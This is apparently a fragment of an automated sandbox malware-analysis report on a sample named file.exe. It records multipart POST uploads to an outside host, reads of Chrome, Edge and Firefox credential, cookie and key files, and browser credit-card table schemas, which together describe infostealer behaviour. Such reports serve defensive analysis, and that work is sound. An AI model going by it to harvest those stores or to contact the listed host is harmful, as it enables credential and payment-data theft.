a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "strtoimax" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "strtoumax" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "wcsnlen" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "wcrtomb" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "strnlen" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "accept" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: WS2_32.DLL) Found string "mbsrtowcs" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "wcsrtombs" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL) Found string "strtoull" (Source: a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610, API is part of module: UCRTBASE.DLL)44:T488,Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp")45:T1e92,Contains base64 string in header "POST" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary44003225User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 410Host: fivevf5vs.top" Contains base64 string in header "Keep" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary44003225User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 410Host: fivevf5vs.top" Contains base64 string in header "cacheContent" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary44003225User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 410Host: fivevf5vs.top" Contains base64 string in header "Type" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary44003225User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 410Host: fivevf5vs.top" Contains base64 string in header "data" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary44003225User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 410Host: fivevf5vs.top" Contains base64 string in header "Boundary44003225User" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary44003225User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 410Host: fivevf5vs.top" Contains base64 string in header "like" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary44003225User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 410Host: fivevf5vs.top" Contains base64 string in header "POST" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary57409113User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 43650Host: fivevf5vs.top" Contains base64 string in header "Keep" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary57409113User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 43650Host: fivevf5vs.top" Contains base64 string in header "cacheContent" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary57409113User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 43650Host: fivevf5vs.top" Contains base64 string in header "Type" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary57409113User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 43650Host: fivevf5vs.top" Contains base64 string in header "data" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary57409113User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 43650Host: fivevf5vs.top" Contains base64 string in header "Boundary57409113User" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary57409113User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 43650Host: fivevf5vs.top" Contains base64 string in header "like" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary57409113User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 43650Host: fivevf5vs.top" Contains base64 string in header "POST" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary13248248User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 53532Host: fivevf5vs.top" Contains base64 string in header "Keep" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary13248248User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 53532Host: fivevf5vs.top" Contains base64 string in header "cacheContent" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary13248248User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 53532Host: fivevf5vs.top" Contains base64 string in header "Type" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary13248248User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 53532Host: fivevf5vs.top" Contains base64 string in header "data" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary13248248User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 53532Host: fivevf5vs.top" Contains base64 string in header "Boundary13248248User" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary13248248User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 53532Host: fivevf5vs.top" Contains base64 string in header "like" in header "POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary13248248User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 53532Host: fivevf5vs.top"46:T7a3,"file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{7F8381AD-2E42-4432-8DE5-C7BEEBE1009F}") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{7F8381AD-2E42-4432-8DE5-C7BEEBE1009F}"; Key: "DISPLAYNAME") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{7F8381AD-2E42-4432-8DE5-C7BEEBE1009F}"; Key: "DISPLAYVERSION") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40"; Key: "DISPLAYNAME") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA"; Key: "DISPLAYNAME")47:T1f80,"CREATE TABLE" (Source: 00000000-00006488.00000000.177152.05DC0000.00000004.mdmp, Indicator: "create table") "CREATE TABLE contact_info (guid VARCHAR PRIMARY KEY, use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, date_modified INTEGER NOT NULL DEFAULT 0, language_code VARCHAR, label VARCHAR, initial_creator_id INTEGER DEFAULT 0, last_modifier_id INTEGER DEFAULT 0)" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table contact_info (guid varchar primary key, use_count integer not null default 0, use_date integer not null default 0, date_modified integer not null default 0, language_code varchar, label varchar, initial_creator_id integer default 0, last_modifier_id integer default 0)"), "CREATE TABLE keywords (id INTEGER PRIMARY KEY,short_name VARCHAR NOT NULL,keyword VARCHAR NOT NULL,favicon_url VARCHAR NOT NULL,url VARCHAR NOT NULL,safe_for_autoreplace INTEGER,originating_url VARCHAR,date_created INTEGER DEFAULT 0,usage_count INTEGER DEFAULT 0,input_encodings VARCHAR,suggest_url VARCHAR,prepopulate_id INTEGER DEFAULT 0,created_by_policy INTEGER DEFAULT 0,last_modified INTEGER DEFAULT 0,sync_guid VARCHAR,alternate_urls VARCHAR,image_url VARCHAR,search_url_post_params VARCHAR,suggest_url_post_params VARCHAR,image_url_post_params VARCHAR,new_tab_url VARCHAR,last_visited INTEGER DEFAULT 0, created_from_play_api INTEGER DEFAULT 0, is_active INTEGER DEFAULT 0, starter_pack_id INTEGER DEFAULT 0, enforced_by_policy INTEGER DEFAULT 0, featured_by_policy INTEGER DEFAULT 0)}" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table keywords (id integer primary key,short_name varchar not null,keyword varchar not null,favicon_url varchar not null,url varchar not null,safe_for_autoreplace integer,originating_url varchar,date_created integer default 0,usage_count integer default 0,input_encodings varchar,suggest_url varchar,prepopulate_id integer default 0,created_by_policy integer default 0,last_modified integer default 0,sync_guid varchar,alternate_urls varchar,image_url varchar,search_url_post_params varchar,suggest_url_post_params varchar,image_url_post_params varchar,new_tab_url varchar,last_visited integer default 0, created_from_play_api integer default 0, is_active integer default 0, starter_pack_id integer default 0, enforced_by_policy integer default 0, featured_by_policy integer default 0)}"), "CREATE TABLE token_service (service VARCHAR PRIMARY KEY NOT NULL,encrypted_token BLOB)9" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table token_service (service varchar primary key not null,encrypted_token blob)9"), "CREATE TABLE meta(key LONGVARCHAR NOT NULL UNIQUE PRIMARY KEY, value LONGVARCHAR)'" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table meta(key longvarchar not null unique primary key, value longvarchar)'"), "CREATE TABLE autofill_model_type_state (model_type INTEGER NOT NULL PRIMARY KEY, value BLOB)K" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table autofill_model_type_state (model_type integer not null primary key, value blob)k"), "CREATE TABLE autofill_sync_metadata (model_type INTEGER NOT NULL, storage_key VARCHAR NOT NULL, value BLOB, PRIMARY KEY (model_type, storage_key))s" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table autofill_sync_metadata (model_type integer not null, storage_key varchar not null, value blob, primary key (model_type, storage_key))s"), "CREATE TABLE autofill (name VARCHAR, value VARCHAR, value_lower VARCHAR, date_created INTEGER DEFAULT 0, date_last_used INTEGER DEFAULT 0, count INTEGER DEFAULT 1, PRIMARY KEY (name, value))U" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table autofill (name varchar, value varchar, value_lower varchar, date_created integer default 0, date_last_used integer default 0, count integer default 1, primary key (name, value))u"), "CREATE TABLE local_addresses_type_tokens (guid VARCHAR, type INTEGER, value VARCHAR, verification_status INTEGER DEFAULT 0, observations BLOB, PRIMARY KEY (guid, type))=" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table local_addresses_type_tokens (guid varchar, type integer, value varchar, verification_status integer default 0, observations blob, primary key (guid, type))="), "CREATE TABLE local_addresses (guid VARCHAR PRIMARY KEY, use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, date_modified INTEGER NOT NULL DEFAULT 0, language_code VARCHAR, label VARCHAR, initial_creator_id INTEGER DEFAULT 0, last_modifier_id INTEGER DEFAULT 0)" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table local_addresses (guid varchar primary key, use_count integer not null default 0, use_date integer not null default 0, date_modified integer not null default 0, language_code varchar, label varchar, initial_creator_id integer default 0, last_modifier_id integer default 0)"), "CREATE TABLE unmasked_credit_cards (id VARCHAR, card_number_encrypted VARCHAR, unmask_date INTEGER NOT NULL DEFAULT 0)" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table unmasked_credit_cards (id varchar, card_number_encrypted varchar, unmask_date integer not null default 0)"), "CREATE TABLE masked_credit_cards (id VARCHAR, name_on_card VARCHAR, network VARCHAR, last_four VARCHAR, exp_month INTEGER DEFAULT 0, exp_year INTEGER DEFAULT 0, bank_name VARCHAR, nickname VARCHAR, card_issuer INTEGER DEFAULT 0, instrument_id INTEGER DEFAULT 0, virtual_card_enrollment_state INTEGER DEFAULT 0, card_art_url VARCHAR, product_description VARCHAR, card_issuer_id VARCHAR, virtual_card_enrollment_type INTEGER DEFAULT 0, product_terms_url VARCHAR)" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table masked_credit_cards (id varchar, name_on_card varchar, network varchar, last_four varchar, exp_month integer default 0, exp_year integer default 0, bank_name varchar, nickname varchar, card_issuer integer default 0, instrument_id integer default 0, virtual_card_enrollment_state integer default 0, card_art_url varchar, product_description varchar, card_issuer_id varchar, virtual_card_enrollment_type integer default 0, product_terms_url varchar)"), "CREATE TABLE local_ibans (guid VARCHAR PRIMARY KEY, use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, value_encrypted VARCHAR, nickname VARCHAR)5" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table local_ibans (guid varchar primary key, use_count integer not null default 0, use_date integer not null default 0, value_encrypted varchar, nickname varchar)5"), "CREATE TABLE credit_cards (guid VARCHAR PRIMARY KEY, name_on_card VARCHAR, expiration_month INTEGER, expiration_year INTEGER, card_number_encrypted BLOB, date_modified INTEGER NOT NULL DEFAULT 0, origin VARCHAR DEFAULT '', use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, billing_address_id VARCHAR, nickname VARCHAR)" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table credit_cards (guid varchar primary key, name_on_card varchar, expiration_month integer, expiration_year integer, card_number_encrypted blob, date_modified integer not null default 0, origin varchar default '', use_count integer not null default 0, use_date integer not null default 0, billing_address_id varchar, nickname varchar)"), "CREATE TABLE server_card_metadata (id VARCHAR NOT NULL, use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, billing_address_id VARCHAR)" (Source: 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp, Indicator: "create table server_card_metadata (id varchar not null, use_count integer not null default 0, use_date integer not null default 0, billing_address_id varchar)")48:T14c4,"file.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "file.exe" touched "DLNA Media Servers Data Source" (Path: "HKCU\WOW6432NODE\CLSID\{289AF617-1CC3-42A6-926C-E6A863F0E3BA}\SHELLFOLDER") "file.exe" touched "Portable Devices" (Path: "HKCU\WOW6432NODE\CLSID\{35786D3C-B075-49B9-88DD-029876E11C01}\SHELLFOLDER") "file.exe" touched "Portable Media Devices" (Path: "HKCU\WOW6432NODE\CLSID\{640167B4-59B0-47A6-B335-A6B3C0695AEA}\SHELLFOLDER") "file.exe" touched "delegate folder that appears in Computer" (Path: "HKCU\WOW6432NODE\CLSID\{B155BDF8-02F0-451E-9A26-AE317CFD7779}\SHELLFOLDER") "file.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "file.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "file.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "file.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "file.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "file.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "file.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "file.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "file.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "file.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "file.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "file.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "file.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "file.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "file.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "file.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "file.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "file.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "file.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "file.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "file.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "file.exe" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "file.exe" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "file.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "file.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "file.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "file.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "file.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "file.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "file.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "file.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "file.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "file.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "file.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "file.exe" touched "MMDeviceEnumerator class" (Path: "HKCU\WOW6432NODE\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\TREATAS")49:T79e,"file.exe" reads file "c:\users\%osuser%\appdata\local\google\chrome\user data\default\login data" "file.exe" reads file "c:\users\%osuser%\appdata\local\google\chrome\user data\default\network\cookies" "file.exe" reads file "c:\users\%osuser%\appdata\local\google\chrome\user data\default\web data" "file.exe" reads file "c:\users\%osuser%\appdata\local\google\chrome\user data\local state" "file.exe" reads file "c:\users\%osuser%\appdata\local\microsoft\edge\user data\default\login data" "file.exe" reads file "c:\users\%osuser%\appdata\local\microsoft\edge\user data\default\network\cookies" "file.exe" reads file "c:\users\%osuser%\appdata\local\microsoft\edge\user data\default\web data" "file.exe" reads file "c:\users\%osuser%\appdata\local\microsoft\edge\user data\local state" "file.exe" reads file "c:\users\%osuser%\appdata\roaming\mozilla\firefox\profiles\ywzu7870.default\cookies.sqlite" "file.exe" reads file "c:\users\%osuser%\appdata\roaming\mozilla\firefox\profiles\ywzu7870.default\formhistory.sqlite" "file.exe" reads file "c:\users\%osuser%\appdata\roaming\mozilla\firefox\profiles\ywzu7870.default\key4.db" "file.exe" reads file "c:\users\desktop.ini" "file.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "file.exe" reads file "c:\users\%osuser%\documents\desktop.ini" "file.exe" reads file "c:\users\%osuser%\music\desktop.ini" "file.exe" reads file "c:\users\%osuser%\pictures\desktop.ini" "file.exe" reads file "c:\users\%osuser%\videos\desktop.ini" "file.exe" reads file "c:\users\%osuser%\downloads\desktop.ini" "file.exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" "file.exe" reads file "c:\users\%osuser%\searches\desktop.ini" "file.exe" reads file "c:\users\%osuser%\contacts\desktop.ini" "file.exe" reads file "c:\users\%osuser%\favorites\desktop.ini" "file.exe" reads file "c:\users\%osuser%\links\desktop.ini" "file.exe" reads file "c:\users\%osuser%\saved games\desktop.ini"4a:T72d,"file.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\cLpwUJljrV (UID: 00000000-00006488) "file.exe" called "FindFirstFileW" with parameter %USERPROFILE%\* (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006488) 